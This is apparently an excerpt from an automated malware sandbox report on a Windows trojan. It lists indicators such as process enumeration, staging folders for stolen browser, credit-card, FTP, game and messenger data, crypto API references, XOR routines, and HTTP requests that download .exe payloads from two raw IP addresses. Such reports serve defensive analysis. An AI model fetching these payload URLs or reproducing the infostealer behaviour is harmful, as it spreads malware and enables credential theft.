"00000000-00004840.00000000.66549.03230000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00004840.00000000.66549.03230000.00000004.mdmp")30:T562,"SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" queried SystemProcessInformation at 00000000-00004840-00000C13-35481432 [PID: 4840] "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" queried SystemProcessInformation at 00000000-00004840-00000C13-35482855 [PID: 4840] "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" queried SystemProcessInformation at 00000000-00004840-00000C13-36286240 [PID: 4840] "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" queried SystemProcessInformation at 00000000-00004840-00000C13-36287871 [PID: 4840] "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" queried SystemProcessInformation at 00000000-00004840-00000C13-36443828 [PID: 4840] "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" queried SystemProcessInformation at 00000000-00004840-00000C13-36445308 [PID: 4840] "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" queried SystemProcessInformation at 00000000-00004840-00000C13-36638031 [PID: 4840] "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" queried SystemProcessInformation at 00000000-00004840-00000C13-36639537 [PID: 4840] "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" queried SystemProcessInformation at 00000000-00004840-00000C13-36847570 [PID: 4840] "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" queried SystemProcessInformation at 00000000-00004840-00000C13-36849454 [PID: 4840]31:Tfab,"SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\Autofill (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\Downloads (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\CC (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\Files\Amazon Downloader Logs (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\GoogleAccounts (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\Files\hancom (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\Files\My Music (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\Files\My Pictures (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\Files\My Videos (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\Files\Outlook Files (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\Files (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\FTP\FileZilla (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\FTP\TotalCommander (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\FTP (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\Games\Growtopia (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\Games\Minecraft (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\Games\TLauncher (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\Games\FeatherClient (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\Games\LunarClient (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\Games\Battle.net (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\Games\Steam (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\Games (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\Messengers\Skype (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\Messengers\Element (UID: 00000000-00005372) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3XqqaC8IUGVBJz\Messengers\ICQ (UID: 00000000-00005372)32:T738,Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "GetDelegateForFunctionPointer" in "goldklassd_1_.exe" Observed namespace "System.IO.MemoryStream" and TypeReference ".ctor" in "goldklassd_1_.exe" Observed namespace "System.IO.MemoryStream" and TypeReference "ToArray" in "goldklassd_1_.exe" Observed namespace "System.IO.MemoryStream" and TypeReference ".ctor" in "MONTHRDX_1_.exe" Observed namespace "System.IO.MemoryStream" and TypeReference "ToArray" in "MONTHRDX_1_.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "SizeOf" in "MONTHRDX_1_.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "AllocHGlobal" in "MONTHRDX_1_.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "Copy" in "MONTHRDX_1_.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "FreeHGlobal" in "MONTHRDX_1_.exe" Observed namespace "System.IO.MemoryStream" and TypeReference ".ctor" in "2024.exe" Observed namespace "System.IO.MemoryStream" and TypeReference "ToArray" in "2024.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "SizeOf" in "2024.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "AllocHGlobal" in "2024.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "Copy" in "2024.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "FreeHGlobal" in "2024.exe" Observed namespace "System.IO.MemoryStream" and TypeReference ".ctor" in "niks_1_.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "GetDelegateForFunctionPointer" in "niks_1_.exe" Observed namespace "System.IO.MemoryStream" and TypeReference "ToArray" in "niks_1_.exe"33:T13ef,file/memory contains long string with (Indicator: "Aes"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "AesCryptoServiceProvider"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "CryptoConfig"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "CryptoStream"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "HashAlgorithm"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "MD5CryptoServiceProvider"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "Rijndael"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "RijndaelManaged"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "RSACryptoServiceProvider"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "SymmetricAlgorithm"; File: "niks_1_.exe") Found reference to "MSCF2Wqh disallowedcert.stl|f~3"{-UAV>F :n;lpd`() hvnf|T#&6%&WSHS9*}9yZ@F+/vU|Usr #k#NK-c0ROmX6VG55:x"3`CM:k^nLuSvMxfx4qM?{i%CVl\tP-`}v?@s)?hRQ>jB@H4-" (Indicator: "Oid"; File: "57C8EDB95DF3F0AD4EE2DC2B8CFD4157") Found reference to "RSACryptoServiceProvider" (Indicator: "RSACryptoServiceProvider"; File: "00000000-00003328.00000001.71731.00CB2000.00000020.mdmp") Found reference to "SymmetricAlgorithm" (Indicator: "SymmetricAlgorithm"; File: "00000000-00003328.00000001.71731.00CB2000.00000020.mdmp") Found reference to "AesCryptoServiceProvider" (Indicator: "Aes"; File: "00000000-00003328.00000001.71731.00CB2000.00000020.mdmp") Found reference to "AesCryptoServiceProvider" (Indicator: "AesCryptoServiceProvider"; File: "00000000-00003328.00000001.71731.00CB2000.00000020.mdmp") Found reference to "RijndaelManaged" (Indicator: "Rijndael"; File: "00000000-00003328.00000001.71731.00CB2000.00000020.mdmp") Found reference to "RijndaelManaged" (Indicator: "RijndaelManaged"; File: "00000000-00003328.00000001.71731.00CB2000.00000020.mdmp") Found reference to "MD5CryptoServiceProvider" (Indicator: "MD5CryptoServiceProvider"; File: "00000000-00003328.00000001.71731.00CB2000.00000020.mdmp") Found reference to "CryptoConfig" (Indicator: "CryptoConfig"; File: "00000000-00003328.00000001.71731.00CB2000.00000020.mdmp") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; File: "00000000-00003328.00000001.71731.00CB2000.00000020.mdmp") Found reference to "CryptoStream" (Indicator: "CryptoStream"; File: "00000000-00003328.00000001.71731.00CB2000.00000020.mdmp") Found reference to "CryptoStreamMode" (Indicator: "CryptoStream"; File: "00000000-00003328.00000001.71731.00CB2000.00000020.mdmp") Found reference to "AesFastEngine" (Indicator: "Aes"; File: "00000000-00005892.00000000.74777.01132000.00000020.mdmp") Found reference to "AesGcm256" (Indicator: "Aes"; File: "00000000-00005892.00000000.74777.01132000.00000020.mdmp") Found reference to "AesGcm256" (Indicator: "AesGcm"; File: "00000000-00005892.00000000.74777.01132000.00000020.mdmp") Found reference to "ystem.Security.Cryptography.AesCryptoServiceProvider" (Indicator: "Aes"; Source: "00000000-00001568.00000000.75743.015F0000.00000004.mdmp") Found reference to "ystem.Security.Cryptography.AesCryptoServiceProvider" (Indicator: "AesCryptoServiceProvider"; Source: "00000000-00001568.00000000.75743.015F0000.00000004.mdmp") Found reference to "RSACryptoServiceProvider" (Indicator: "RSACryptoServiceProvider"; Source: "00000000-00001568.00000000.75743.015F0000.00000004.mdmp") Found reference to "SymmetricAlgorithm" (Indicator: "SymmetricAlgorithm"; Source: "00000000-00001568.00000000.75743.015F0000.00000004.mdmp") Found reference to "AesCryptoServiceProvider" (Indicator: "Aes"; Source: "00000000-00001568.00000000.75743.015F0000.00000004.mdmp") Found reference to "AesCryptoServiceProvider" (Indicator: "AesCryptoServiceProvider"; Source: "00000000-00001568.00000000.75743.015F0000.00000004.mdmp") Found reference to "RijndaelManaged" (Indicator: "Rijndael"; Source: "00000000-00001568.00000000.75743.015F0000.00000004.mdmp") Found reference to "RijndaelManaged" (Indicator: "RijndaelManaged"; Source: "00000000-00001568.00000000.75743.015F0000.00000004.mdmp") Found reference to "MD5CryptoServiceProvider" (Indicator: "MD5CryptoServiceProvider"; Source: "00000000-00001568.00000000.75743.015F0000.00000004.mdmp") Found reference to "CryptoConfig" (Indicator: "CryptoConfig"; Source: "00000000-00001568.00000000.75743.015F0000.00000004.mdmp") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00001568.00000000.75743.015F0000.00000004.mdmp") Found reference to "CryptoStream" (Indicator: "CryptoStream"; Source: "00000000-00001568.00000000.75743.015F0000.00000004.mdmp") Found reference to "CryptoStreamMode" (Indicator: "CryptoStream"; Source: "00000000-00001568.00000000.75743.015F0000.00000004.mdmp") file/memory contains long string with (Indicator: "Oid"; Source: "00000000-00001784.00000001.72531.03400000.00000002.mdmp")34:T49d,Found PE header "MZ" - Source: "00000000-00001568.00000000.75743.015F0000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00001784.00000001.72531.03400000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00002068.00000001.72943.045E0000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00003536.00000000.68316.04440000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00003536.00000002.70991.04850000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00004072.00000000.70834.0171A000.00000040.mdmp") Found PE header "MZ" - Source: "00000000-00004152.00000000.76108.04400000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00004812.00000001.75180.00390000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00004812.00000001.75180.00EA2000.00000040.mdmp") Found PE header "MZ" - Source: "00000000-00004812.00000002.75553.00390000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00005372.00000000.65966.043C0000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00005840.00000001.75597.02A50000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00005960.00000001.75648.01990000.00000004.mdmp")35:T16ed,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004072-17738-2119-013C16A5 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004072-17738-2119-013C16A5 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004072-17738-2652-013C773A Assembly shows XOR instruction xor al byte ptr [ecx+edx+2Dh] in Stream UID: 00000000-00004072-17738-2099-013BB303 Assembly shows XOR instruction xor byte ptr [ecx+edx+2Dh] al in Stream UID: 00000000-00004072-17738-2099-013BB303 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004072-17738-2630-013CD123 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004072-17738-2630-013CD123 Assembly shows XOR instruction xor dword ptr [eax+34h] ebp in Stream UID: 00000000-00004072-17738-2180-0134EAE0 Assembly shows XOR instruction xor eax dword ptr [ecx+08h] in Stream UID: 00000000-00004072-17738-1384-013C6314 Assembly shows XOR instruction xor dword ptr [ecx+08h] eax in Stream UID: 00000000-00004072-17738-1384-013C6314 Assembly shows XOR instruction xor ecx dword ptr [eax] in Stream UID: 00000000-00004072-17738-1384-013C6314 Assembly shows XOR instruction xor dword ptr [eax] ecx in Stream UID: 00000000-00004072-17738-1384-013C6314 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004072-17738-2665-013ABAB0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004072-17738-2665-013ABAB0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004072-17738-1087-013BBC63 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004072-17738-1075-013B1094 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004072-17738-1075-013B1094 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004072-17738-2555-013BB702 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004072-17738-2555-013BB702 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004072-17738-2115-013C1D15 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004072-17738-2115-013C1D15 Assembly shows XOR instruction xor byte ptr [ebp+ecx-14h] al in Stream UID: 00000000-00004072-17738-2086-0134F7C0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004072-17738-2118-013C1C2C Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004072-17738-2118-013C1C2C Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004072-17738-2670-013AB7F0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004072-17738-2670-013AB7F0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004072-17738-2114-013C1B51 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004072-17738-2114-013C1B51 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004072-17738-1428-013C7CDB Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004072-17738-1428-013C7CDB Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00004300-51932-986-00A3FD50 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004300-51932-986-00A3FD50 Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00004300-51932-986-00A3FD50 Assembly shows XOR instruction xor eax dword ptr [ebp-14h] in Stream UID: 00000000-00004300-51932-986-00A3FD50 Assembly shows XOR instruction xor eax dword ptr [ebp-04h] in Stream UID: 00000000-00004300-51932-986-00A3FD50 Assembly shows XOR instruction xor eax ecx in Stream UID: 00000000-00004300-51932-986-00A3FD50 Assembly shows XOR instruction xor dh al in Stream UID: 00000000-00004300-51932-989-00A5D0A0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004300-51932-966-00A5883B Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004300-51932-966-00A5883B Assembly shows XOR instruction xor dh al in Stream UID: 00000000-00004812-29250-938-00B6D0A0 Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00004812-29250-935-00B4FD50 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004812-29250-935-00B4FD50 Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00004812-29250-935-00B4FD50 Assembly shows XOR instruction xor eax dword ptr [ebp-14h] in Stream UID: 00000000-00004812-29250-935-00B4FD50 Assembly shows XOR instruction xor eax dword ptr [ebp-04h] in Stream UID: 00000000-00004812-29250-935-00B4FD50 Assembly shows XOR instruction xor eax ecx in Stream UID: 00000000-00004812-29250-935-00B4FD50 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004812-29250-915-00B6883B Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004812-29250-915-00B6883B Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00005556-37840-985-00B4FD50 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005556-37840-985-00B4FD50 Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00005556-37840-985-00B4FD50 Assembly shows XOR instruction xor eax dword ptr [ebp-14h] in Stream UID: 00000000-00005556-37840-985-00B4FD50 Assembly shows XOR instruction xor eax dword ptr [ebp-04h] in Stream UID: 00000000-00005556-37840-985-00B4FD50 Assembly shows XOR instruction xor eax ecx in Stream UID: 00000000-00005556-37840-985-00B4FD50 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005556-37840-965-00B6883B Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005556-37840-965-00B6883B Assembly shows XOR instruction xor dh al in Stream UID: 00000000-00005556-37840-988-00B6D0A036:T54fb,Contains base64 string in header "/cost/no" in header "GET /cost/no.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "like" in header "GET /cost/no.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "2045" in header "GET /cost/no.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "like" in header "GET /cost/niks.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "2045" in header "GET /cost/niks.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "like" in header "GET /cost/vinu.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "2045" in header "GET /cost/vinu.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "like" in header "GET /cost/lada.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "2045" in header "GET /cost/lada.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "like" in header "GET /mine/amers.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 185.215.113.68Cache-Control: no-cache" Contains base64 string in header "2045" in header "GET /mine/amers.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 185.215.113.68Cache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /geoip/v2.1/city/me HTTP/1.1Connection: Keep-AliveReferer: https://www.maxmind.com/en/locate-my-ip-addressUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: www.maxmind.com" Contains base64 string in header "AliveReferer" in header "GET /geoip/v2.1/city/me HTTP/1.1Connection: Keep-AliveReferer: https://www.maxmind.com/en/locate-my-ip-addressUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: www.maxmind.com" Contains base64 string in header "like" in header "GET /geoip/v2.1/city/me HTTP/1.1Connection: Keep-AliveReferer: https://www.maxmind.com/en/locate-my-ip-addressUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: www.maxmind.com" Contains base64 string in header "2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "2FUsCEHe9DWzbNvka6iEPxPBY0w0" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: 